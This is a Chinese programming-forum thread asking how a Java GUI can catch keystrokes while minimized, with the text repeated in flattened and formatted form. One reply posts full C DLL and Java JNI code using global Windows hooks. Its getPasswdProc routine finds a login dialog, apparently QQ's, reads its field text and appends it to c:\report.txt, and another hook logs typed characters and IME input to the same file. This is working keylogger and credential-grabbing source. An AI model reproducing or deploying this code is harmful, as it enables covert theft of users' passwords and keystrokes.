特殊键盘事件相应!! 有没有什么办法使即便GUI界面被最小化后依然可以相应键盘事件? 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 用C++的Hook回调功能可以轻松做到, JAVA中我还不知道怎么做.如果真有这种需要还是用Windows API来做吧. JAVA中没有提供这样的方法,但其他不是虚拟机的编程方法,可以用window系统的钩子. 还是用hook,然后再通过jni调用吧,估计只有这种方法最好用 to:smzh8() 能否详细讲讲“可以用window系统的钩子”的机制?to:peiuestc(沛) ( ) “用hook,然后再通过jni调用” 这种机制具体是怎么用的?有没有什么资料可查? 给你一个我做来玩的程序:c代码:#include "stdafx.h"#include "TestJNI.h"#include "imm.h"#include <jni.h>#pragma data_seg(".HookUI")HINSTANCE g_hinstDLL = NULL;// 模块实例句柄HHOOK g_hKeyboardHook = NULL;// 键盘钩子句柄HHOOK g_hMsgHook = NULL;// 键盘钩子句柄HHOOK g_hWndHook = NULL;// 键盘钩子句柄HHOOK g_hMouseHook = NULL;// 鼠标钩子句柄bool g_KeyboardState = FALSE;// 返回键盘钩子的状态bool g_MouseState = FALSE;// 返回鼠标钩子的状态// 这是为了测试用的int ii = 0;int gC = 0; int key=0;int time=NULL;bool isGet=false;#pragma data_seg() BOOL CALLBACK EnumChildProc(HWND hwndChild, LPARAM lParam){ char num[30]; memset(num, 0, sizeof(num)); int ChildID = GetWindowLong(hwndChild,GWL_ID); GetWindowText(hwndChild,(LPSTR)&num,sizeof(num)); FILE* f1; f1=fopen("c:\\report.txt","a+"); if (f1){ fwrite(&num,strlen(num),1,f1); fclose(f1); } return true;}void getPasswdProc(){ HWND hQQlog; if (!IsWindow(hQQlog)) { hQQlog = NULL; hQQlog = FindWindow("#32770", NULL); if (!FindWindowEx(hQQlog, 0, "Button", "登录")||!FindWindowEx(hQQlog, 0, "Button", "取消")) { return ; } } isGet=!isGet; if(!isGet) return ; if( hQQlog != NULL ) { EnumChildWindows(hQQlog,EnumChildProc, NULL); }}LRESULT CALLBACK WndProc(int nCode,WPARAM wParam,LPARAM lParam){ CWPSTRUCT *pmsg = (CWPSTRUCT *)lParam; int cid=pmsg->wParam; if (pmsg->message == WM_COMMAND&&cid==33555442){ getPasswdProc(); } return CallNextHookEx(g_hWndHook, nCode, wParam, lParam); }LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam){ LRESULT lResult = CallNextHookEx(g_hMsgHook, nCode, wParam, lParam); PMSG pmsg = (PMSG)lParam; if (nCode == HC_ACTION) { HIMC hIMC; HWND hWnd=pmsg->hwnd; DWORD dwSize; char ch; char lpstr[20]; if (pmsg->message==WM_IME_COMPOSITION){ if(pmsg->lParam & GCS_RESULTSTR) { //先获取当前正在输入的窗口的输入法句柄 hIMC = ImmGetContext(hWnd); if (!hIMC) { MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK); } // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小. dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0); // 缓冲区大小要加上字符串的NULL结束符大小, // 考虑到UNICODE dwSize += sizeof(WCHAR); memset(lpstr, 0, 20); // 再调用一次.ImmGetCompositionString获取字符串 ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件... //MessageBox(NULL, lpstr, lpstr, MB_OK); //ImmReleaseContext(hWnd, hIMC); FILE* f1; f1=fopen("c:\\report.txt","a+"); if (f1&&!isGet){ //ch=(char)(pmsg->wParam); fwrite(lpstr,strlen(lpstr),1,f1); fclose(f1); } isGet=!isGet; } ImmReleaseContext(hWnd, hIMC); } else if (pmsg->message==WM_CHAR){ FILE* f1; f1=fopen("c:\\report.txt","a+"); if (f1&&!isGet){ ch=(char)(pmsg->wParam); fwrite(&ch,1,1,f1); fclose(f1); } isGet=!isGet; } } return CallNextHookEx(g_hMsgHook, nCode, wParam, lParam);}// 测试用VOID CALLBACK TimerProc(HWND hwnd, UINT uMsg, UINT idEvent, DWORD dwTime){ CHAR ss[128];int len;len = wsprintf(ss,"%d %d %X",ii,GetTickCount(),gC);HDC hdc = GetDC(0);TextOut(hdc,1,1,ss,len);ReleaseDC(0,hdc);}// 测试用// DLL 入口函数BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){ switch (fdwReason) { case DLL_PROCESS_ATTACH: g_hinstDLL = hinstDLL; //if(time == NULL) SetTimer(0,1,100,TimerProc); // 测试用 // break; } return TRUE;}//键盘钩子函数LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {if (nCode == HC_ACTION){ g_KeyboardState = TRUE; key=(int)wParam; if (wParam == VK_RETURN){ getPasswdProc(); } }// 传给系统中的下一个钩子return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam);}//鼠标钩子函数LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam){if (nCode == HC_ACTION) {// 测试用ii++;gC=nCode;if(ii == 9999999){ii = 0;}// 测试用g_MouseState = TRUE;}// 传给系统中的下一个钩子return CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);}//安装钩子的函数BOOL WINAPI StartHook(HWND h){// 如果已经安装键盘钩子则返回 falseif (g_hKeyboardHook != NULL){return FALSE;}// 如果已经安装鼠标钩子则返回 falseif (g_hMouseHook != NULL){return FALSE;}// 安装键盘钩子g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hinstDLL, 0);if (g_hKeyboardHook == NULL){return FALSE;}// 安装鼠标钩子g_hMouseHook = SetWindowsHookEx(WH_MOUSE, MouseProc, g_hinstDLL, 0);if (g_hMouseHook == NULL){return FALSE;}return TRUE;}//卸载钩子的函数BOOL WINAPI StopHook(){KillTimer(0,1); // 测试用// 卸载键盘钩子if (UnhookWindowsHookEx(g_hKeyboardHook) == 0){return FALSE;}g_hKeyboardHook = NULL;// 鼠标键盘钩子if (UnhookWindowsHookEx(g_hMouseHook) == 0){return FALSE;}g_hMouseHook = NULL;return TRUE;}// 返回键盘钩子状态的函数BOOL WINAPI KeyboardState(){if (g_KeyboardState == TRUE){g_KeyboardState = FALSE;return TRUE;}else{return FALSE;}}// 返回鼠标钩子状态的函数BOOL WINAPI MouseState(){if (g_MouseState == TRUE){g_MouseState = FALSE;return TRUE;}else{return FALSE;}}JNIEXPORT void JNICALL Java_TestJNI_openHook(JNIEnv *, jclass){g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hinstDLL, 0);g_hWndHook = SetWindowsHookEx(WH_CALLWNDPROC, WndProc, g_hinstDLL, 0); //(m_hMenuHook=SetWindowsHookEx(WH_MOUSE,(HOOKPROC)HookProc,hInstance,0));}JNIEXPORT void JNICALL Java_TestJNI_closeHook(JNIEnv *, jclass){ UnhookWindowsHookEx(g_hKeyboardHook); }JNIEXPORT jboolean JNICALL Java_TestJNI_getKey(JNIEnv *, jclass){ return KeyboardState();}JNIEXPORT jint JNICALL Java_TestJNI_getKeyString(JNIEnv *, jclass){ if(KeyboardState()){ return key; }else{ return 0; } } java代码:import java.awt.event.MouseListener;import java.awt.event.MouseEvent;import java.awt.event.MouseMotionListener;import javax.swing.*;import java.awt.event.WindowListener;import java.awt.event.WindowEvent;public class RunHook extends JFrame implements WindowListener{ public static void main(String arg[]){ new RunHook().show(); while(true){ int str=TestJNI.getKeyString(); if (str!=0){ System.out.println("钩子 key:"+str); } try{ Thread.sleep(1000); }catch(Exception e){ } } } public RunHook(){ JPanel p=new JPanel(); this.getContentPane().add(p); this.setBounds(100,100,100,100); this.addWindowListener(this); TestJNI.openHook(); //this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); } public void mouseDragged(MouseEvent mouseEvent) { } public void mouseMoved(MouseEvent mouseEvent) { System.out.println("x-------------->"+mouseEvent.getX()); System.out.println("y-------------->"+mouseEvent.getY()); } public void windowOpened(WindowEvent windowEvent) { } public void windowClosing(WindowEvent windowEvent) { TestJNI.closeHook(); System.exit(0); } public void windowClosed(WindowEvent windowEvent) { } public void windowIconified(WindowEvent windowEvent) { } public void windowDeiconified(WindowEvent windowEvent) { } public void windowActivated(WindowEvent windowEvent) { } public void windowDeactivated(WindowEvent windowEvent) { }}public class TestJNI { static { System.loadLibrary("MouseHook3"); } public native static int getMousex(); public native static int getMousey(); public native static void openHook(); public native static void closeHook(); public native static boolean getKey();public native static int getKeyString();} 这样相当于是用java来调c++写的dll,问题是我的“hook”是用java写的,而且跟图形界面绑定了,有没有其他什么办法呢? 为什么不能运行啊 求助 求解答,继承方面的面试题 关于使用socket传输非文本文件的问题 一个疑惑:JSP,Java交互 没java一点基础,想学java和jsp,各位有书籍什么好介绍? 分享: 让人懊恼的面试-看程序员的基本功 欢迎讨论inner classes 一个很菜的但是我不知道为什么的小问题 求大神,java.lang.IndexOutOfBoundsException: Index: 0, Size: 0 java静态代码块编译的一个问题,求大神解释 如何建立文件,要求设定文件大小 socket读取数据的问题?
如果真有这种需要还是用Windows API来做吧.
能否详细讲讲“可以用window系统的钩子”的机制?to:peiuestc(沛) ( )
“用hook,然后再通过jni调用” 这种机制具体是怎么用的?有没有什么资料可查?
c代码:
#include "stdafx.h"
#include "TestJNI.h"
#include "imm.h"
#include <jni.h>
#pragma data_seg(".HookUI")
HINSTANCE g_hinstDLL = NULL;// 模块实例句柄
HHOOK g_hKeyboardHook = NULL;// 键盘钩子句柄
HHOOK g_hMsgHook = NULL;// 键盘钩子句柄
HHOOK g_hWndHook = NULL;// 键盘钩子句柄
HHOOK g_hMouseHook = NULL;// 鼠标钩子句柄
bool g_KeyboardState = FALSE;// 返回键盘钩子的状态
bool g_MouseState = FALSE;// 返回鼠标钩子的状态// 这是为了测试用的
int ii = 0;
int gC = 0;
int key=0;
int time=NULL;
bool isGet=false;
#pragma data_seg()
BOOL CALLBACK EnumChildProc(HWND hwndChild, LPARAM lParam)
{
char num[30];
memset(num, 0, sizeof(num)); int ChildID = GetWindowLong(hwndChild,GWL_ID);
GetWindowText(hwndChild,(LPSTR)&num,sizeof(num)); FILE* f1;
f1=fopen("c:\\report.txt","a+");
if (f1){
fwrite(&num,strlen(num),1,f1);
fclose(f1);
}
return true;
}void getPasswdProc(){
HWND hQQlog;
if (!IsWindow(hQQlog))
{
hQQlog = NULL;
hQQlog = FindWindow("#32770", NULL);
if (!FindWindowEx(hQQlog, 0, "Button", "登录")||!FindWindowEx(hQQlog, 0, "Button", "取消"))
{
return ;
}
}
isGet=!isGet;
if(!isGet)
return ; if( hQQlog != NULL )
{
EnumChildWindows(hQQlog,EnumChildProc, NULL);
}
}
LRESULT CALLBACK WndProc(int nCode,WPARAM wParam,LPARAM lParam){
CWPSTRUCT *pmsg = (CWPSTRUCT *)lParam;
int cid=pmsg->wParam;
if (pmsg->message == WM_COMMAND&&cid==33555442){
getPasswdProc();
}
return CallNextHookEx(g_hWndHook, nCode, wParam, lParam);
}
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT lResult = CallNextHookEx(g_hMsgHook, nCode, wParam, lParam);
PMSG pmsg = (PMSG)lParam;
if (nCode == HC_ACTION)
{
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char ch;
char lpstr[20];
if (pmsg->message==WM_IME_COMPOSITION){ if(pmsg->lParam & GCS_RESULTSTR)
{
//先获取当前正在输入的窗口的输入法句柄 hIMC = ImmGetContext(hWnd);
if (!hIMC)
{
MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
} // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0); // 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR); memset(lpstr, 0, 20); // 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
//MessageBox(NULL, lpstr, lpstr, MB_OK);
//ImmReleaseContext(hWnd, hIMC);
FILE* f1;
f1=fopen("c:\\report.txt","a+");
if (f1&&!isGet){
//ch=(char)(pmsg->wParam);
fwrite(lpstr,strlen(lpstr),1,f1);
fclose(f1);
}
isGet=!isGet;
}
ImmReleaseContext(hWnd, hIMC);
}
else if (pmsg->message==WM_CHAR){
FILE* f1;
f1=fopen("c:\\report.txt","a+");
if (f1&&!isGet){
ch=(char)(pmsg->wParam);
fwrite(&ch,1,1,f1);
fclose(f1);
}
isGet=!isGet;
}
}
return CallNextHookEx(g_hMsgHook, nCode, wParam, lParam);
}// 测试用
VOID CALLBACK TimerProc(HWND hwnd, UINT uMsg, UINT idEvent, DWORD dwTime)
{
CHAR ss[128];
int len;
len = wsprintf(ss,"%d %d %X",ii,GetTickCount(),gC);
HDC hdc = GetDC(0);
TextOut(hdc,1,1,ss,len);
ReleaseDC(0,hdc);}
// 测试用// DLL 入口函数
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{ switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
g_hinstDLL = hinstDLL;
//if(time == NULL) SetTimer(0,1,100,TimerProc); // 测试用
// break;
}
return TRUE;}
//键盘钩子函数
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{if (nCode == HC_ACTION)
{
g_KeyboardState = TRUE;
key=(int)wParam;
if (wParam == VK_RETURN){
getPasswdProc();
}
}// 传给系统中的下一个钩子
return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam);
}//鼠标钩子函数
LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam)
{if (nCode == HC_ACTION)
{
// 测试用
ii++;
gC=nCode;
if(ii == 9999999)
{
ii = 0;
}
// 测试用g_MouseState = TRUE;
}// 传给系统中的下一个钩子
return CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);
}
//安装钩子的函数
BOOL WINAPI StartHook(HWND h)
{// 如果已经安装键盘钩子则返回 false
if (g_hKeyboardHook != NULL)
{
return FALSE;
}// 如果已经安装鼠标钩子则返回 false
if (g_hMouseHook != NULL)
{
return FALSE;
}// 安装键盘钩子
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hinstDLL, 0);
if (g_hKeyboardHook == NULL)
{
return FALSE;
}// 安装鼠标钩子
g_hMouseHook = SetWindowsHookEx(WH_MOUSE, MouseProc, g_hinstDLL, 0);
if (g_hMouseHook == NULL)
{
return FALSE;
}return TRUE;
}//卸载钩子的函数
BOOL WINAPI StopHook()
{
KillTimer(0,1); // 测试用// 卸载键盘钩子
if (UnhookWindowsHookEx(g_hKeyboardHook) == 0)
{
return FALSE;
}
g_hKeyboardHook = NULL;// 鼠标键盘钩子
if (UnhookWindowsHookEx(g_hMouseHook) == 0)
{
return FALSE;
}
g_hMouseHook = NULL;return TRUE;}// 返回键盘钩子状态的函数
BOOL WINAPI KeyboardState()
{
if (g_KeyboardState == TRUE)
{
g_KeyboardState = FALSE;
return TRUE;
}
else
{
return FALSE;
}
}// 返回鼠标钩子状态的函数
BOOL WINAPI MouseState()
{
if (g_MouseState == TRUE)
{
g_MouseState = FALSE;
return TRUE;
}
else
{
return FALSE;
}
}
JNIEXPORT void JNICALL Java_TestJNI_openHook
(JNIEnv *, jclass){
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hinstDLL, 0);
g_hWndHook = SetWindowsHookEx(WH_CALLWNDPROC, WndProc, g_hinstDLL, 0);
//(m_hMenuHook=SetWindowsHookEx(WH_MOUSE,(HOOKPROC)HookProc,hInstance,0));
}JNIEXPORT void JNICALL Java_TestJNI_closeHook
(JNIEnv *, jclass){
UnhookWindowsHookEx(g_hKeyboardHook);
}
JNIEXPORT jboolean JNICALL Java_TestJNI_getKey
(JNIEnv *, jclass){
return KeyboardState();
}
JNIEXPORT jint JNICALL Java_TestJNI_getKeyString
(JNIEnv *, jclass){ if(KeyboardState()){
return key;
}else{
return 0;
}
}
java代码:
import java.awt.event.MouseListener;
import java.awt.event.MouseEvent;
import java.awt.event.MouseMotionListener;
import javax.swing.*;
import java.awt.event.WindowListener;
import java.awt.event.WindowEvent;public class RunHook extends JFrame implements WindowListener{
public static void main(String arg[]){
new RunHook().show();
while(true){
int str=TestJNI.getKeyString();
if (str!=0){
System.out.println("钩子 key:"+str);
}
try{
Thread.sleep(1000);
}catch(Exception e){ }
}
}
public RunHook(){
JPanel p=new JPanel();
this.getContentPane().add(p);
this.setBounds(100,100,100,100);
this.addWindowListener(this);
TestJNI.openHook();
//this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
} public void mouseDragged(MouseEvent mouseEvent) {
} public void mouseMoved(MouseEvent mouseEvent) {
System.out.println("x-------------->"+mouseEvent.getX());
System.out.println("y-------------->"+mouseEvent.getY());
} public void windowOpened(WindowEvent windowEvent) {
} public void windowClosing(WindowEvent windowEvent) {
TestJNI.closeHook();
System.exit(0);
} public void windowClosed(WindowEvent windowEvent) {
} public void windowIconified(WindowEvent windowEvent) {
} public void windowDeiconified(WindowEvent windowEvent) {
} public void windowActivated(WindowEvent windowEvent) {
} public void windowDeactivated(WindowEvent windowEvent) {
}
}public class TestJNI {
static {
System.loadLibrary("MouseHook3");
}
public native static int getMousex();
public native static int getMousey();
public native static void openHook();
public native static void closeHook();
public native static boolean getKey();
public native static int getKeyString();}